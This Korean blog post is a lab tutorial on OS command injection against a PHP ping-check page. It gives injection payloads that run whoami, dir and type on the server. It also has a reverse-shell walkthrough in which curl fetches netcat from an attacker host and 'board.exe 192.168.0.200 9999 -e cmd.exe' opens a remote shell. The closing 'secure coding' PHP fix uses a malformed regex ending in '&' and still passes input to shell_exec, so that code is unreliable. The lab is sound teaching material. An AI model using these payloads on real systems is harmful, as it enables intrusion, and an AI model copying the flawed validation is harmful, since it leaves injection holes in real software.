OS Command Injection이란?
운영체제 명령어 주입으로,원격으로 시스템 명령어를 실행하여 공격자 의도대로 서버를 제어하는 공격이다.
DMZ 구간의 웹 서버의 취약점이 발생하여 공격자가 해당 서버의 제어권을 얻는다. 즉, 시스템 명령어 실행이 가능하다. 이는 시스템의 중요 정보 즉, 소스 코드 정보, 설정 파일 등의 읽기, 삭제, 수정 권한을 얻게 되는 것이다.
공격 대상
SQL Injection vs OS Command Injection
SQL Injection | OS Command Injection | |
공격 방식 | SQL 구문 삽입 | 시스템 명령어 삽입 |
공격 결과 | 중요 데이터 탈취 | 중요 데이터 탈취, 네트워크 침투, 서버 졈령 |
위험도 | 중 | 상 |
💡 OS Command Injection이 SQL Injection보다 위험도가 높은데 SQL Injection이 더 주목을 받게 된 이유
OS Command Injection이 발생하기 위한 조건으로는 사용자 입력을 통해 시스템 명령어를 입력받아야 한다. 이는 일반적인 웹 서비스에서는 대부분 서버 사이트 스크립트로 구현이 가능하기 때문에 기능적으로 필요하지 않다. 따라서 자연스럽게 취약점이 발생할 확률이 낮다.
반면 SQL Injection은 오늘날 대부분의 서비스에서는 DB를 사용한다. 사용자 입력값의 대부분이 DB에 DML로 반영된다. 이에 따라 자연스럽게 취약점이 발생할 확률이 높아진다.
공격 원리 분석
인가된 사용자들이 서비스를 이용한다고 가정하기 때문에 입력값 검증이 없거나 우회 포인트가 발생할 수 있게 검증 로직이 미흡할 수 있다.
nslookup
: 도메인을 IP로 변경하는 명령어
[실습3-1] OS Command Injection 공격 실습
관리자로 로그인 된 상태에서 실습을 진행한다.
💡 window에서 사용 가능한 메타 문자
- &: 이전 출력 값도 함께 출력
- |: 이전 출력 값은 제외하고 현재 출력 값만 출력
1. 게이트웨이 활성화 여부 확인
192.168.0.1
2. Echo를 통해 커멘드 인젝션 가능 여부 확인
192.168.0.1&echo "test"
3. ipconfig
192.168.0.1&ipconfig
4. 버전정보 확인
192.168.0.1&ver
5. 웹서버 권한 확인
192.168,0.1&whoami
6. 디렉터리 구조 확인
192.168.0.1|dir
7. 파일 열람
192.168.0.1|type common.php
[실습3-2] OS Command Injection 공격을 통한 Reverse-Shell 실습 (원격 터미널 연결)
원격 터미널을 연결을 통해 네트워크 정보를 수집하고 서버 내의 중요 정보를 탐색한다.
Bind Shell
- 서버에서 서버 포트가 열리고, 클라이언트(공격자)가 서버로 접속하여 쉘을 생성하는 방식
Reverse Shell
- 클라이언트(공격자)가 리스닝을 하고 서버에서 클라이언트(공격자)쪽으로 접속하는 방식
- 보통 방화벽이 있는 환경에서 많이 활용한다. 인바운드 정책이 타이트하기 때문에 비교적 느슨한 아웃바운드 정책을 이용한다.
1. Netcat 설치
2. 웹 서버에 Netcat 업로드 (wget, curl)
192.168.0.1|curl -o board.exe <http://192.168.0.200/board.exe>
3. 업로드 확인
192.168.0.1|dir
4. 공격자 PC에서 Netcat 리스닝
- 서버가 공격자 PC로 연결 요청을 할 때 공격자 PC가 리스닝 상태여야 한다.
nc.exe -lvp 9999
5. 웹 서버에서 Netcat 명령어 실행을 통한 Reverse Shell 연결
nc.exe [Hacker IP] [Port] -e [Shell]
192.168.0.1|board.exe 192.168.0.200 9999 -e cmd.exe
Shell
- Windows:cmd.exe
- Linux/Unix:/bin/bash
대응 방안
- 서버 사이드 스크립트로 기능 구현
- 사용자 입력 값 형식에 따른 정규 표현식 검증
- 악의적인 문자 검증
- 기능을 없앤다.
[실습3-3] 취약 환경 시큐어 코딩 적용 실습
사용자 입력 값이 IP 형식에 맞는지 정규표현식을 통해 확인한다.
<?
include_once("./common.php");
$ip = $_POST["ip"];
$page = $_SERVER['REQUEST_URI'];
if(!empty($ip)) {
# 사용자 입력 값이 IP 형식에 맞는지 정규표현식을 통해 확인한다.
if (!preg_match("/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}&/", $ip)) {
echo "<script>alert('정상적인 입력 값이 아닙니다');history.back(-1);</script>";
exit();
}
$result = shell_exec("ping {$ip}");
$result = iconv("EUC-KR", "UTF-8", $result);
$result = str_replace("\n", "<br>", $result);
}
?>
<div class="pricing-header px-3 py-3 pt-md-5 pb-md-4 mx-auto text-center">
<h1 class="display-4">Ping Check</h1>
<hr>
</div>
<div class="container">
<form action="<?=$page?>" method="POST">
<div class="form-group">
<label>Ping</label>
<input type="text" class="form-control" name="ip" placeholder="IP(ex: 192.168.0.100) Input">
</div>
<div class="text-center">
<button type="submit" class="btn btn-outline-secondary">Check</button>
</div>
</form>
</div>
<? if(!empty($result)) { ?>
<hr>
<?=$result?>
<? } ?>
'Security > Web Hacking' 카테고리의 다른 글
[WebHacking] CSRF(Cross-Site Request Forgery) 공격 (0) | 2024.05.13 |
---|---|
[WebHacking] XSS 공격 (1) | 2024.04.28 |
[WebHacking] XXE Injection 공격 (0) | 2024.04.28 |
[WebHacking] SQL Injection 공격 (1) | 2024.04.28 |
[WebHacking] 웹 해킹에 대한 이해 (0) | 2024.04.28 |